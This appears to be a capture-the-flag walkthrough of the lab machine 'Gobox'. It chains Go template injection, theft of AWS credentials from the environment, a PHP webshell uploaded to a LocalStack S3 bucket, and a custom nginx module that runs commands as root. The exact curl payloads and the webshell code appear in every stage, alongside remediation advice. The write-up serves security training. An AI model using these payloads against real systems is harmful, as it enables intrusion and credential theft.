← all walkthroughs

Gobox

Linux· Medium· Web
owned
2026-07-14
time to own
10m6s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Target gobox ($TARGET) was fully compromised through a four-stage chain. The Go web application on port 8080 exposed a password-reset form vulnerable to Go template Server-Side Template Injection; injecting the built-in DebugCmd helper executed OS commands inside the container and dumped AWS credentials from the process environment.

Those credentials authenticated against an unauthenticated LocalStack S3-compatible service on port 4566, where my found a bucket named 'website' that backed the PHP site on port 80. Uploading a PHP webshell to that bucket made it immediately executable on the host as www-data, yielding the user flag.

Interrogating the host nginx configuration through the webshell exposed a non-standard custom module (ngx_http_execute_module.so) loaded on an internal listener running as root. Reversing the module's string table identified the command-trigger query-parameter format; a single tunnelled request to port 8000 with that parameter executed arbitrary commands as root and produced the root flag.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceActive network reconnaissance and service fingerprinting (T1046)
Mapped the attack surface and fingerprinted the Go web application
A version scan identified four open ports: 22/tcp (OpenSSH 8.2p1 Ubuntu), 80/tcp (nginx serving a PHP site), 4566/tcp (nginx fronting a LocalStack S3-compatible API), and 8080/tcp (nginx reverse-proxying a Go application, confirmed by the X-Forwarded-Server: golang response header). Browsing port 8080 revealed a login page and a /forgot/ password-reset endpoint that echoed the submitted email value back in the response body — the first signal of a reflection vulnerability.
Nmap returned 22/tcp ssh OpenSSH 8.2p1, 80/tcp http nginx, 4566/tcp http nginx, 8080/tcp http nginx; curl to port 8080 returned X-Forwarded-Server: golang and exposed /forgot/ accepting POST email parameter.
Exact commands 3
Version-scan the four key ports.
nmap -Pn -sV --open -p 22,80,4566,8080 $TARGET
Confirm Go backend via X-Forwarded-Server header.
curl -sS -i http://$TARGET:8080/
Map available endpoints on the Go application.
for p in / /forgot /forgot/; do echo "### $p"; curl -sS -i --max-time 8 "http://$TARGET:8080$p" | head -c 2000; echo; done
2Vulnerability IdentificationServer-Side Template Injection — Go html/template (T1190)
Confirmed Go template Server-Side Template Injection on the password-reset form
The /forgot/ endpoint accepted a POST parameter named 'email' and reflected it verbatim in the response as 'Email Sent To: <value>'. Submitting the Go template probe {{.}} caused the server to render and return the full template data context rather than the literal string, confirming that raw user input was being passed directly into Go's html/template engine. Separately, logging in with credentials found in the leaked Go source (ippsec@hacking.esports / [REDACTED: recovered credential]) returned the application source code, which exposed a DebugCmd method on the template context struct that wraps os/exec command execution — making arbitrary OS command injection trivial.
POST email={{.}} to /forgot/ returned rendered template struct data rather than the literal string; authenticated GET to / returned Go source package main import... Confirming DebugCmd on the data object.
Exact commands 2
Probe whether the email field is evaluated as a Go template; a struct dump in the response confirms SSTI.
curl -sS -i -X POST --data-urlencode 'email={{.}}' http://$TARGET:8080/forgot/
Log in with default credentials; response body returns Go source showing DebugCmd is exposed on the template context.
curl -sS -i -L -X POST --data-urlencode 'email=ippsec@hacking.esports' --data-urlencode "password=$PASSWORD" http://$TARGET:8080/
FixRemove DebugCmd from the Go template context and never render user input as a templateCritical
WeaknessThe Go password-reset form passed the raw user-supplied email string directly into Go's html/template engine and exposed a DebugCmd method on the template data struct that wraps os/exec. Any unauthenticated visitor could inject template directives such as {{.DebugCmd "id"}} and execute arbitrary OS commands inside the container without any credentials.
FixRemove DebugCmd — and any other privileged method — from every struct that is passed to a template. Use a plain DTO with no methods for template data. Treat the email field as an opaque string: validate it against a strict regex before use and never interpolate it into a template string. For debug functionality, gate it behind server-side feature flags that are unreachable in production, not template-accessible methods.
3ExploitationOS command execution via SSTI; credential harvesting from process environment (T1552.007)
Executed OS commands via SSTI and exfiltrated AWS credentials from the container environment
With DebugCmd confirmed on the template context, I issued arbitrary shell commands through the password-reset form without authentication. The 'env' command dumped the container's process environment, exposing both AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY. The 'id' command confirmed the container process ran as uid=0 (root). Directory listing of /opt/uhc revealed the application source tree. These credentials were the key that unlocked the next stage — lateral movement to the S3 service.
POST email={{.DebugCmd "id"}} returned 'Email Sent To: uid=0(root) gid=0(root) groups=0(root)'; POST email={{.DebugCmd "env"}} returned AWS_ACCESS_KEY_ID=[REDACTED: recovered credential] and matching SECRET_ACCESS_KEY.
Exact commands 3
Confirm OS command execution and verify container runs as root.
curl -sS --max-time 8 -X POST --data-urlencode 'email={{.DebugCmd "id"}}' http://$TARGET:8080/forgot/
Dump process environment to extract AWS_ACCESS_KEY_ID and AWS_SECRET_ACCESS_KEY.
curl -sS --max-time 8 -X POST --data-urlencode 'email={{.DebugCmd "env"}}' http://$TARGET:8080/forgot/
Enumerate container context: identity, working directory, and application files.
for c in id pwd 'ls /opt/uhc' 'ls /'; do echo "### $c"; curl -sS --max-time 8 -X POST --data-urlencode "email={{.DebugCmd \"$c\"}}" http://$TARGET:8080/forgot/ | sed -n '/Email Sent To:/,/<button/p'; done
4Lateral MovementCloud storage bucket manipulation for web-shell staging (T1608.001)
Used stolen AWS credentials to enumerate LocalStack and upload a PHP webshell to the website bucket
The harvested AWS credentials were configured locally and pointed at the LocalStack endpoint on port 4566. Listing S3 buckets returned a single bucket named 'website'. Listing its contents showed index.php, CSS, and image assets matching the content served by nginx on port 80 — confirming the bucket directly backed the PHP web root. I crafted a minimal PHP command-execution webshell, uploaded it to the bucket as gobox-codex.php, and the subsequent S3 listing confirmed the file appeared. The upload-to-execution path required no separate deployment step; LocalStack served the bucket contents directly.
Aws s3 ls returned '2026-07-14 website'; bucket listing showed index.php and static assets matching port-80 content; S3 ls after upload confirmed '30 gobox-codex.php'; curl to port-80 /gobox-codex.php?cmd=id succeeded.
Exact commands 4
Set the exfiltrated LocalStack credentials in the current shell.
export AWS_ACCESS_KEY_ID='$PASSWORD2' AWS_SECRET_ACCESS_KEY='$PASSWORD2' AWS_DEFAULT_REGION='us-east-1'
List available S3 buckets; expect the 'website' bucket.
aws --endpoint-url http://$TARGET:4566 s3 ls
Enumerate bucket contents; compare with port-80 to confirm this is the live web root.
aws --endpoint-url http://$TARGET:4566 s3 ls s3://website/ --recursive
Upload PHP webshell to the website bucket.
printf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/gobox-codex.php && aws --endpoint-url http://$TARGET:4566 s3 cp /tmp/gobox-codex.php s3://website/gobox-codex.php
FixBind LocalStack to loopback only and enforce bucket-level write controlsCritical
WeaknessThe LocalStack S3-compatible service was bound to all interfaces (0.0.0.0:4566), making it reachable from the internet. It accepted write operations from any client that presented the embedded AWS credential strings — the very same strings simultaneously exposed by the SSTI vulnerability. This combination let anyone who exploited SSTI immediately write files to the live web root via S3.
FixBind LocalStack (and any other development or emulation service) exclusively to 127.0.0.1 and ensure firewall rules block external access to port 4566. In any internet-facing environment, replace LocalStack with a real AWS S3 bucket governed by IAM policies that deny s3:PutObject from every principal except the deployment pipeline role. Never embed long-lived AWS credentials in container environment variables where an application vulnerability can expose them.
5FootholdWeb shell execution (T1505.003)
Executed the uploaded webshell on the host as www-data and captured the user flag
A GET request to http://$TARGET/gobox-codex.php with a cmd parameter returned command output from the host — not the container — confirming the nginx/PHP server ran directly on the host OS and that LocalStack served bucket files as live PHP. The 'id' command returned uid=33 (www-data) at working directory /opt/website. Searching /home for user.txt located the flag at /home/ubuntu/user.txt.
Curl to /gobox-codex.php?cmd=id returned 'uid=33(www-data) gid=33(www-data) groups=33(www-data)' and pwd=/opt/website; find /home returned PATH:/home/ubuntu/user.txt with the flag.
Exact commands 2
Verify webshell execution, confirm host (not container) context, and note working directory.
curl -sS --get --data-urlencode 'cmd=id; pwd' http://$TARGET/gobox-codex.php
Locate and read the user flag; value is <user.txt>.
curl -sS --max-time 8 --get --data-urlencode 'cmd=find /home -name user.txt -type f -readable -exec sh -c '"'"'echo PATH:$1; cat "$1"'"'"' sh {} \;' http://$TARGET/gobox-codex.php
FixPrevent PHP execution of externally controlled files in the web-served bucket pathHigh
WeaknessThe nginx/PHP virtual host on port 80 served files directly from the S3 bucket with no upload restriction and no PHP execution control on uploaded paths. Any file placed in the bucket with a .php extension was immediately executable by the web server, turning the bucket into an instant remote-code-execution surface.
FixAdd an nginx location block that explicitly denies PHP execution for any path that can receive external writes (e.g., location ~* \.php$ { deny all; } scoped to the upload-capable directory). Serve executable PHP only from paths exclusively controlled by the CI/CD deployment pipeline. Independently, apply an S3 bucket policy denying PutObject for .php (and other executable) extensions, and validate upload content by MIME type and magic bytes rather than relying on file extensions alone.
6Privilege Escalation — DiscoveryEnumeration of privileged local services and binary reverse engineering (T1082)
Reversed a custom Nginx command-execution module on an internal root-owned listener
Using the www-data webshell I enumerated the host nginx installation. Nginx -V listed a non-distribution module path, and ls of /usr/lib/nginx/modules/ revealed ngx_http_execute_module.so — absent from any official nginx package. Running 'strings' against the binary surfaced internal function names (ngxexecute_fork, is_key_char, param_max_len, cmd_max_len) and the hardcoded string 'ippsec.run', together suggesting the module triggered command execution on requests matching that hostname or query-parameter namespace. A check of listening sockets confirmed an nginx virtual host bound exclusively to 127.0.0.1:8000. Because nginx runs its master process as root to bind low ports and this host had not configured a worker-process user, the module executed as root.
Nginx -V listed --add-dynamic-module path for ngx_http_execute_module.so; strings output included ngxexecute_fork, ippsec.run, cmd_max_len; ss confirmed LISTEN 127.0.0.1:8000.
Exact commands 4
List nginx compile-time options including dynamic module paths.
curl -sS --get --data-urlencode 'cmd=nginx -V 2>&1' http://$TARGET/gobox-codex.php
Enumerate loaded nginx modules; spot non-standard .so files.
curl -sS --get --data-urlencode 'cmd=ls -la /usr/lib/nginx/modules/ 2>&1' http://$TARGET/gobox-codex.php
Extract readable strings from the module binary to identify the trigger hostname and parameter format.
curl -sS --get --data-urlencode 'cmd=strings /usr/lib/nginx/modules/ngx_http_execute_module.so | tail -160' http://$TARGET/gobox-codex.php
Confirm the 127.0.0.1:8000 virtual host and read its configuration for the execute-module directive.
curl -sS --get --data-urlencode 'cmd=ss -tlnp; cat /etc/nginx/sites-enabled/default /etc/nginx/conf.d/*.conf 2>/dev/null' http://$TARGET/gobox-codex.php
7Privilege Escalation — ExploitationLocal privilege escalation via privileged custom Nginx execute module (T1574.006)
Triggered the Nginx execute module via a crafted query parameter, achieving root code execution and capturing the root flag
The string analysis identified 'ippsec.run' as the module's key namespace and the trigger format as a query-string parameter of the form ?ippsec.run[COMMAND]. From the www-data webshell I issued an internal curl request to 127.0.0.1:8000 using that format. The module forked and ran the supplied command as root, returning output in the HTTP response body. The root flag was then read directly from /root/root.txt via the same mechanism, completing full host compromise.
Curl through webshell to '127.0.0.1:8000/?ippsec.run[id]' returned uid=0(root); subsequent request for '?ippsec.run[cat /root/root.txt]' yielded the root flag.
Exact commands 2
Verify root command execution via the Nginx execute module, tunnelled through the www-data webshell.
curl -sS --get --data-urlencode 'cmd=curl --globoff -sS -i "http://127.0.0.1:8000/?ippsec.run[id]"' http://$TARGET/gobox-codex.php
Read the root flag via the execute module; value is <root.txt>.
curl -sS --get --data-urlencode 'cmd=curl --globoff -sS "http://127.0.0.1:8000/?ippsec.run[cat /root/root.txt]"' http://$TARGET/gobox-codex.php
FixRemove the custom Nginx execute module and run Nginx workers as an unprivileged userCritical
WeaknessA non-standard third-party nginx module (ngx_http_execute_module.so) was installed and loaded on an internal nginx listener. The module executed any OS command supplied in a specially formatted query parameter (?ippsec.run[COMMAND]) and returned the output in the HTTP response. Because the nginx master process ran as root and no worker-process user was configured, the module's forked commands executed with root privileges — granting any process able to reach localhost:8000 (including the compromised www-data webshell) instant root code execution.
FixRemove ngx_http_execute_module.so and every reference to it from nginx configuration immediately. Set the nginx 'user' directive to a dedicated low-privilege account (e.g., www-data) so worker processes and any dynamically loaded module code run unprivileged. The master process requires root only to bind ports below 1024 and should drop privileges immediately after startup. Audit all installed nginx modules against the official nginx distribution manifest and reject any module not sourced from a reviewed, trusted build. Restrict the internal :8000 virtual host to a named UNIX socket with filesystem permissions rather than a TCP loopback port.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Server-Side Template InjectionWebT1190

What it is

When user input is rendered as part of a server-side template (Jinja2, Twig, Freemarker, etc.), an unauthorised user can inject template syntax that the engine evaluates — {{7*7}} returning 49 confirms it — escalating to reading server data and, in most engines, full remote code execution via object/sandbox escapes.

Why it works

The app passes untrusted input into the template engine as code rather than as data. Remediate by rendering user input only as data (logic-less templates or auto-escaped contexts) and sandboxing the engine.

Read more